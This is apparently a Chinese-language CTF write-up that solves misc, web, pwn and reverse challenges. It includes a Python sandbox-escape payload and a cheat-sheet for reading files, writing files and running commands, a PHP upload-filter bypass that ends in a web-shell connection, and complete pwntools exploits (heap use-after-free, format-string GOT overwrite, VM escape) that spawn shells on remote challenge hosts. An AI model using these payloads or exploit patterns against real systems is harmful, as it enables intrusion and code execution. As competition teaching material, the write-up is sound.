Misc

0x00 签到

回复公众号

0x01 虚幻

用winhex分离出9张图,按顺序拼:

通过Stegsolve改变后很像二维码,但扫不出来

题目提示汉信码
根据汉信码的特征,反色后手动拼一个:

http://www.efittech.com/hxdec.html 中识别汉信码,得到flag:
flag{4ab1507d-d195-4d30-87c0-a0d85a77d953}

Web

0x02 Calc

roboot.txt
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1520, in _execute
result = self.prepare()
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 2266, in prepare
raise HTTPError(self._status_code)
HTTPError: HTTP 404: Not Found

根据 报错信息和题目 初步确定Python沙箱安全
初步测试 执行1+2+float(1.1)\1+2+int('3.3')\1+2+abs(3.3)
说明math函数里面可以有字符串

payload: 1+2+float(str([].__class__.__mro__[-1].__subclasses__()[40]('/flag').read()))

详细知识请参看
https://www.anquanke.com/post/id/85571
https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/sandbox/python-sandbox-escape.md
[].class.mro[-1].subclasses()/().class.mro[-1].subclasses()魔术代码,不用import任何模块,但可调用任意模块的方法。一开始并不知道file在40的位置,直接暴力遍历,后面跟上file对应的方法即可。

其中常见payload

#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").p

python 沙箱逃逸
得到flag:

0x03 wafUpload

<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

提交一个filename数组

$file[count($file) - 1] 根据数组下标取最后一个元素
$ext = end($file) 数组里最后一个元素
<?php
$f=array();
$f[2]='222';
$f[0]='000';
echo end($f);
//console 000
?>


菜刀连接find flag

Pwn

0x04 fgo

根据题目,可以猜测到应该和fastbin有关, 最开始的思路是:
1) 添加2个servant,并且servant的名字size都为256;
2) 释放第2个servant,再释放第1个servant,释放掉第1个servant后,会在fd和bk处填充main_arena+48的值;
3) 而后重新添加1个servant,并且servant的名字size同样为256,那么最后会在最初始添加servant的地方分配到堆,只要控制好输入servant ability的值,即可保存bk处存储的main_arena+48的值;
4) 展示第1个servant的信息,将由此得到main_arena的地址,通过leak到的main_arena地址可以计算到system的地址;
5) 再次删除掉刚添加的servant;
6) 再添加1个servant,并且将servant的名字size扩大到512,这样就可以覆盖到最开始添加的2个servant的第2个sevant的print_servant_content函数地址,将其替换成system的地址;
7) 展示第2个servant的信息时,将会执行system函数,但调试发现system的参数不可控;
后来逆向发现程序中存在一个secret函数地址,此函数内就是执行了system('/bin/bash'),因此实际上根本不需要计算出system的地址,直接在第6步中,将第2个sevant的print_servant_content函数地址覆盖成secret函数地址即可
exp:

#!/usr/bin/python

import pwnlib
import re
from pwn import *

context.log_level = 'debug'

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = remote('106.75.104.139', 26768)
#p = process('./pwn')
elf = ELF('./pwn')

# new 
def add(size, content):
    p.recvuntil('Your choice:\n')
    p.sendline("1")
    p.recvuntil("the size of servant's name : \n")
    p.sendline(str(size))
    p.recvuntil("ability : \n")
    p.sendline(content)

def show(index):
    p.recvuntil('Your choice:\n')
    p.sendline("3")
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('\n')
    data = p.recvuntil("\n")
    print data
    addr = data[:4]
    if len(addr) < 4:
        addr += '\x00' *( 4 - len(addr))
    return u32(addr)

def delete(index):
    p.recvuntil('Your choice:\n')
    p.sendline("2")
    p.recvuntil("Index : ")
    p.sendline(str(index))

def main():
    #puts_got = elf.got['puts']
    #atoi_got = elf.got['atoi']
    main_arena_offset = 0x1AD420
    secret_addr = 0x08048956
    add(256, "1111")
    add(256, "/bin/sh\x00")
    delete(1)
    delete(0)
    add(256, '123')
    #show(0)
    main_arena_addr = show(0)
    print "[+] Leak main_arena_addr -> {}".format(hex(main_arena_addr))
    system_address = main_arena_addr - main_arena_offset - 48 + libc.symbols['system']
    print "[+] Got system address -> {}".format(hex(system_address))
    delete(0)
    add(512, '\x00'*(16*0x10+8-22) + '/bin/sh\x00'+'\x00'*(22-8)+p32(secret_addr))
    #context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    #gdb.attach(proc.pidof(p)[0])
    #show("1")
    #p.sendline("/bin/sh\x00")
    p.interactive()

if __name__ == '__main__':
    main()


第二种解法:劫持print_servant_content函数
用同样的方式leak systeam的函数地址,或者通过read在got中的地址leak,然后再次利用UAF从fastbin中malloced 8 byte的chunk,用systeam的地址覆盖chunk fb指针处的print_servant_content函数地址,用指令';sh;'覆盖bk指针,通过print_servant操作,call systeam
(*(void (__cdecl **)(void *))servantlist[index])(servantlist[index]);
exp:

from pwn import *

p = process('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#p = remote('106.75.104.139', 26768)
#libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

def add(size, ability):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('name :')
    p.sendline(size)
    p.recvuntil('ability :')
    p.send(ability)

def delete(index):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('Index : ')
    p.sendline(index)

def show(index):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(index)

add('128','AAAAAAAA')
add('128','BBBBBBBB')
delete('1')
delete('0')
add('128','CCCC')
show('0')  # show('2')
p.recvuntil('CCCC')
arena_addr = u32(p.recv(4))-48
log.info('arena_addr: '+hex(arena_addr))
libc_addr = arena_addr - 0x1B2780  # local libc offset
log.info('libc_addr: '+hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.info('system_addr: '+hex(system_addr))
delete('0')
add('8',p32(system_addr)+';sh;')
show('1')
p.interactive()

0x05 EasyFMT

看题目应该是格式化字符串漏洞, 所以最开始需要确定具体的可控的参数位置,利用下述脚本即可获得具体的偏移位置:

#!/usr/bin/python

from pwn import *

elf = ELF('./pwn')
for i in xrange(1,100):
    p = process('./pwn')
    p.recvuntil("Do you know repeater?\n")
    payload = 'AAAA,%' + str(i) + '$x'
    p.sendline(payload)
    try:
        data = p.recv()
        if '41414141' in data:
            print ""
            print "[+] Found it: {}".format(str(i))
            print
            p.close()
            break
        else:
            p.close()
    except:
        p.close()

利用脚本跑出来是在第6个位置会回显,然后利用printf_got的地址来leak printf的实际地址, 而后根据leak到的printf的实际地址来判断目标系统上使用的libc库,这里利用LibcSearcher来确定,如下图所示:

这里使用了libc6-i386_2.23-0ubuntu10_amd64的libc库,而后即可计算system的地址,最后再利用格式化字符串的任意地址写的特性,将printf_got的地址修改为system地址即可。
exp:

#!/usr/bin/python

from pwn import *

#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./00.CTF/Tools/LibcSearcher/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
elf = ELF('./pwn')

#p = process('./pwn')
#p = remote('127.0.0.1', 9999)
p = remote('106.75.126.184', 58579)
context.log_level = 'debug'

def get_addr(addr):
    p.recvuntil("Do you know repeater?\n")
    payload = p32(addr) + '%6$s'
    p.sendline(payload)
    data = p.recv()
    print data
    return u32(data[4:4+4])

def main():
    printf_got = elf.got['printf']
    printf_addr = get_addr(printf_got)
    #get_addr(read_got)
    print "[+] Got printf address -> {}".format(hex(printf_addr))
    system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
    print "[+] Got system address -> {}".format(hex(system_addr))
    payload = fmtstr_payload(6, {printf_got: system_addr})
    #p.recvuntil('\n')
    p.sendline(payload)
    p.recvuntil('\n')
    p.sendline('/bin/sh\x00')
    p.interactive()

if __name__ == '__main__':
    main()

最终获得的flag如下:

0x06 Hvm


由测试可知,当输入长度大于52时(算入回车),出现crash
根据crash可定位到切换虚拟机eip的位置

定位对应堆地址,栈和eip的全局变量:

0x7ffff7ff3fc0 内存写入地址,payload地址
内存值          变量名           变量偏移地址
0x7ffff7ff5000 current_buf      0x555555756100
0x7ffff7ff5000 curren_buf_start 0x5555557560f8
0x7ffff7ff4000 stack_base       0x5555557560d0
               stack            0x5555557560b8
0x7ffff7ff3000 mmap_0x2000      0x5555557560e0

生成payload:

syscall_eip = (__int64)syscall_eip_start + 4 * ((signed int)re(pop stack) + 3);

控制eip栈地址距离payload地址的偏移

0x7ffff7ff3ff4 - 0x7ffff7ff3fc0 = 0x34 = 52

第一个eip偏移

syscall_eip = (((target - syscall_eip_start) >> 2)-3) = (((0x7ffff7ff3fc0 - 0x7ffff7ff5000) >> 2)-3) = 9xFFFFFBED

第二个eip偏移,前52个字节无法填充payload,所以再次跳转

syscall_eip = (((target - syscall_eip_start) >> 2)-3) = (((0x7ffff7ff4000 - 0x7ffff7ff5000) >> 2)-3) = 0xFFFFFBFD

栈偏移

stack_offset = (target_base_stack - mmap_0x2000)/4 = (0x7ffff7ff3500 - 0x7ffff7ff3000) / 4 = 0x140

payload:

13 00 00 00                base_stack = (re(pop stack) * 4) + mmap_0x2000 = mmap_0x2000+0x500
12 00 00 00                stack = base_stack
07 00 00 00 ff ff fb fd    push FFFFFBFD
06 00 00 00                syscall_eip= syscall_eip_start+ 4 * ((signed int)re(pop stack) + 3);
<...这里需要补充满52个字节...>
ff ff fb ed s              tack指向这边, 用来计算syscall_eip偏移
00 00 01 40 00 00 01 40    用来计算栈偏移
07 00 00 00 2f 73 68 00    push /bin
07 00 00 00 2f 62 69 6e    push /sh
0d 00 00 00                syscall_rdi = stack
1a 00 00 00 00 00 00 00    syscall_rsi = (signed int)re(*(_DWORD *)curren_buf);
01 00 00 00 00 00 00 3b    syscall_rax = (signed int)re(*(_DWORD *)curren_buf);
04 00 00 00 00 00 00 00    syscall_rdx = (signed int)re(*(_DWORD *)curren_buf);
0e 00 00 00                syscall


exp:

4.Exp:

from pwn import *

#context.log_level = 'debug'
#p = process("./hvm")
p = remote("117.50.4.173", 10315)

payload = "\x13\x00\x00\x00\x12\x00\x00\x00\x07\x00\x00\x00\xff\xff\xfb\xfd\x06\x00\x00\x00"
payload = payload + 'A' * (52 - len(payload))
payload = payload + "\xff\xff\xfb\xed\x00\x00\x01\x40\x00\x00\x01\x40\x07\x00\x00\x00\x2f\x73\x68\x00\x07\x00\x00\x00\x2f\x62\x69\x6e\x0d\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x3b\x04\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00"

p.sendafter("hello\n", payload)
p.interactive()

这题后来看到看雪上还有更简单的解法

Reverse

0x07 Martricks

使用angr,先ida反汇编得到
成功路径find=0x400A84
失败路径:avoid=0x400A90
代码如下:

import angr

def main():
    p = angr.Project("martricks")
    simgr = p.factory.simulation_manager(p.factory.full_init_state())
    simgr.explore(find=0x400A84, avoid=0x400A90)

    return simgr.found[0].posix.dumps(0).strip('\0\n')

if __name__ == '__main__':
print main()

运行得到flag:

0x08 Give_a_try

根据反汇编的结果编写如下代码,其中2个注意点是:
1、srand的值需要动态调试确定下其初始值
2、以42个字符的和值为遍历,发现其值都有:3681

const int BUFF_LEN = 255*50*50;
int * pbuff=NULL;

unsigned int dword_4030B4[42] = {
0x63B25AF1,0x0C5659BA5,0x4C7A3C33,0x0E4E4267,0x0B611769B,
0x3DE6438C,0x84DBA61F,0x0A97497E6,0x650F0FB3,0x84EB507C,
0x0D38CD24C,0x0E7B912E0,0x7976CD4F,0x84100010,0x7FD66745,
0x711D4DBF,0x5402A7E5,0x0A3334351,0x1EE41BF8,0x22822EBE,
0x0DF5CEE48,0x0A8180D59,0x1576DEDC,0x0F0D62B3B,0x32AC1F6E,
0x9364A640,0x0C282DD35,0x14C5FC2E,0x0A765E438,0x7FCF345A,
0x59032BAD,0x9A5600BE,0x5F472DC5,0x5DDE0D84,0x8DF94ED5,
0x0BDF826A6,0x515A737A,0x4248589E,0x38A96C20,0x0CC7F61D9,
0x2638C417,0x0D9BEB996 };

unsigned int hack_one(int a1,int a2)
{
    __asm {
            mov eax, dword ptr[esp + 8]
            movzx   ecx, byte ptr[esp +12]
            mul     ecx
            mov     ecx, 0FAC96621h
            push    eax
            xor     edx, edx
            div     ecx
            pop     eax
            push    edx
            mul     eax
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            mul     edx
            div     ecx
            mov     eax, edx
            pop     edx
            mul     edx
            div     ecx
            mov eax, edx            
    }
}

int main()
{
    pbuff = new int [BUFF_LEN];
    for (int sum = 42; sum < 255 * 42; sum++)
    {
        srand(sum^0x31333359);
        for (int j = 0; j < 42; j++)
            pbuff[sum*42 + j]= rand();
    }
    for (int num = 0; num <42; num++)
    {
        for (int i = 0; i <255; ++i)
        {

            for (int sum = 42; sum < 255 * 42; sum++)
            {   

                if (hack_one(pbuff[sum * 42 + num],i) == dword_4030B4[num] && sum==3681)
                {
                    printf("%c",i);
                }   
            }
        }
    }
    printf("\nend\n");
    return 0;
}

最后得到flag:

源链接

Hacking more

...